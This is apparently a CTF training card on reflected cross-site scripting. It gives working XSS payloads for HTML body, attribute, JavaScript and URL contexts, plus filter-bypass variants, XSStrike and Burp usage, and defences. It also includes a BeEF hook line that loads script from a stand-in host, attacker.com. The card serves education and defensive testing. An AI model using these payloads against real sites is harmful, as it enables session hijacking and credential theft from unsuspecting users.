Browse CTFs New CTF Sign in

Reflected XSS: URL-Based Script Injection and Single-Interaction Client-Side Code Execution

web_auth_sessions Difficulty 1–5 30 min certifiable

Theory

Why This Matters

Reflected Cross-Site Scripting remains one of the most frequently reported vulnerability classes in bug bounty programs and real-world penetration tests. While often dismissed as lower-severity due to requiring a victim to click a malicious link, reflected XSS enables session hijacking, credential theft, keylogging, and BeEF-framework browser exploitation when combined with phishing delivery. The Google XSS Game, OWASP WebGoat, and PortSwigger Web Security Academy all include reflected XSS as foundational curriculum because it teaches the broader principle of context-aware output encoding that underlies nearly all injection defences.

Core Concept

Reflected XSS occurs when user-supplied data is included in an HTTP response without proper encoding, and a browser interprets the injected data as executable script rather than display content. The term "reflected" refers to the fact that the malicious payload is sent in the attacker's request and immediately reflected back in the server's response to the victim — it is not stored persistently.

The violated invariant is that user-supplied data must be encoded appropriately for its output context before being placed in an HTML document. The appropriate encoding function differs by context:

  • HTML body context — use HTML entity encoding: <&lt;, >&gt;, "&quot;, '&#x27;
  • HTML attribute context — HTML entity encode all characters, or use a templating library that auto-escapes
  • JavaScript context — JavaScript string encoding: escape quotes and backslashes; use JSON.encode() for data injected into <script> blocks
  • URL context — percent-encode with encodeURIComponent() for values in href, src, and action attributes

Context analysis is the most important skill: the same input point may require entirely different payloads depending on where the reflection appears. A reflection inside a <script> tag requires breaking out of a JavaScript string ('; alert(1); //) while a reflection in HTML body requires a full tag injection (<script>alert(1)</script>).

The attacker precondition is that a target user can be induced to click a crafted URL (or follow a redirect) that causes the vulnerable page to reflect the payload in the victim's browser. Delivery mechanisms include phishing emails, shortened URLs, QR codes, and open redirectors.

Technical Deep-Dive

<!-- Context 1: HTML body reflection -->
<!-- Vulnerable: response contains: <p>Hello, <INPUT>!</p> -->
<!-- Payload: -->
<script>alert(document.domain)</script>
<!-- Result in page: <p>Hello, <script>alert(document.domain)</script>!</p> -->

<!-- Context 2: HTML attribute reflection (unquoted) -->
<!-- Vulnerable: <img src=<INPUT> alt="photo"> -->
<!-- Payload: -->
x onerror=alert(document.domain)
<!-- Result: <img src=x onerror=alert(document.domain) alt="photo"> -->

<!-- Context 3: HTML attribute reflection (double-quoted) -->
<!-- Vulnerable: <input value="<INPUT>"> -->
<!-- Payload (break out of attribute): -->
"><script>alert(1)</script>
<!-- Result: <input value=""><script>alert(1)</script>"> -->

<!-- Context 4: JavaScript context reflection -->
<!-- Vulnerable: <script>var name = '<INPUT>';</script> -->
<!-- Payload: -->
'-alert(document.domain)-'
<!-- Or: -->
';alert(document.domain);//
<!-- Result: <script>var name = ''-alert(document.domain)-'';</script> -->

<!-- Context 5: URL href/src context -->
<!-- Vulnerable: <a href="<INPUT>">Click here</a> -->
<!-- Payload (javascript: pseudo-protocol): -->
javascript:alert(document.domain)
<!-- Result: <a href="javascript:alert(document.domain)">Click here</a> -->
// Encoding bypass techniques

// Basic payload when < > are encoded:
// If only angle brackets are filtered but events are not:
// Find existing HTML tags and inject events
" onmouseover="alert(1)    // attribute context with double-quote

// URL-encoded payload (bypass WAF looking for <script>):
%3cscript%3ealert(1)%3c%2fscript%3e

// HTML entity encoding bypass (browser decodes entities in attribute values):
<img src=x onerror="&#97;&#108;&#101;&#114;&#116;&#40;&#49;&#41;">

// SVG-based payload (different parser context):
<svg onload=alert(1)>
<svg><script>alert(1)</script></svg>

// JSFuck (encodes JavaScript using only []()!+):
// Useful when alphanumeric characters are filtered:
[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+
(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]...
// Full JSFuck for alert(1) is ~7kb but uses no letters

// BeEF hook payload for browser exploitation:
<script src="http://attacker.com:3000/hook.js"></script>
# Burp Scanner for automated reflected XSS detection
# Active scan → right-click target in Site Map → Actively scan

# Manual Burp approach:
# 1. Send request to Repeater
# 2. Set payload: <xss-test-1234>
# 3. Search response for <xss-test-1234> — identifies reflection points
# 4. Analyse context and craft context-appropriate payload

# XSStrike for automated context-aware testing:
python3 xsstrike.py -u 'https://target.example.com/search?q=FUZZ' 
  --crawl --blind

Security Assessment Methodology

  1. Identify reflection points — Inject a unique non-HTML string (e.g., xsstest1234) in every GET/POST parameter. Search the response source for the string. Note every location where it appears.
  2. Determine the reflection context — For each reflection point, examine the surrounding HTML: is it in an HTML body, inside an attribute, inside a <script> tag, in a URL attribute value?
  3. Craft a context-appropriate payload — Select the payload syntax matching the context (tag injection for body, attribute breakout for attributes, string breakout for JS context, javascript: for URL context).
  4. Test encoding bypasses — If the basic payload is filtered or encoded in the response, test URL encoding, HTML entity encoding, and event-based payloads that avoid blocked tags.
  5. Confirm JavaScript execution — Use alert(document.domain) (confirms the domain in scope) or alert(document.cookie) to demonstrate script execution in the browser.
  6. Run XSStrike or Burp Active Scanner — Automate discovery across all parameters, especially in complex multi-page applications where manual testing of every parameter would be time-prohibitive.
  7. Construct and demonstrate a proof-of-concept URL — Provide a full URL containing the payload that a victim could follow, demonstrating the attack delivery mechanism.

Defensive Countermeasure — Apply context-appropriate output encoding at every reflection point using a well-maintained security library: OWASP Java Encoder, Microsoft AntiXSS, or built-in framework escaping (Django's {{ var }} auto-escapes, Jinja2's autoescape, React's JSX). Never build output encoding manually with string replacement. Add a Content-Security-Policy header with script-src 'self' to prevent inline script execution as a defence-in-depth layer. Set HttpOnly on session cookies to prevent exfiltration even if XSS executes.

Common Assessment Errors

  • Testing only HTML body context payloads<script>alert(1)</script> fails in attribute and JavaScript contexts. Always identify the context before selecting a payload.
  • Missing reflections in HTTP response headers — Some applications reflect input in headers (Location, Set-Cookie) that browsers may process in exploitable ways.
  • Not testing URL parameters on all pages — Testers focus on visible form fields and miss query string parameters on error pages, search results, and redirect endpoints.
  • Reporting without a working browser POC — An XSS finding requires a demonstrated payload that executes in a real browser, not just one that appears unencoded in the response source.
  • Not testing with different browsers — Some XSS payloads work in Chrome but not Firefox due to parser differences. Test in at least two browsers.
  • Forgetting CSP as a mitigating control — If the application has a CSP, report whether the payload executes despite the policy. A blocked XSS under CSP has lower severity than one that executes freely.

NICE Framework Alignment

Code Knowledge/Skill/Task Statement How This Card Develops It
K0009 Knowledge of application vulnerabilities Develops context-aware understanding of reflected XSS across HTML body, attribute, JS, and URL contexts
K0070 Knowledge of system and application security threats and vulnerabilities Covers encoding bypass techniques and browser-level payload interpretation
S0001 Skill in conducting vulnerability scans Trains XSStrike usage and Burp-based reflection identification methodology
S0044 Skill in mimicking threat behaviors Builds adversarial skill in context analysis and payload crafting
T0028 Test system security controls Covers output encoding review and CSP header assessment
T0028 Test system security controls Covers output encoding review and CSP configuration assessment

Further Reading

  • Cross-Site Scripting (XSS) — PortSwigger Web Security Academy
  • OWASP XSS Prevention Cheat Sheet — OWASP Foundation
  • XSStrike: Advanced XSS Detection Suite — s0md3v, GitHub

Challenge Lab

Reinforce your learning with a hands-on generated challenge based on this card's competency.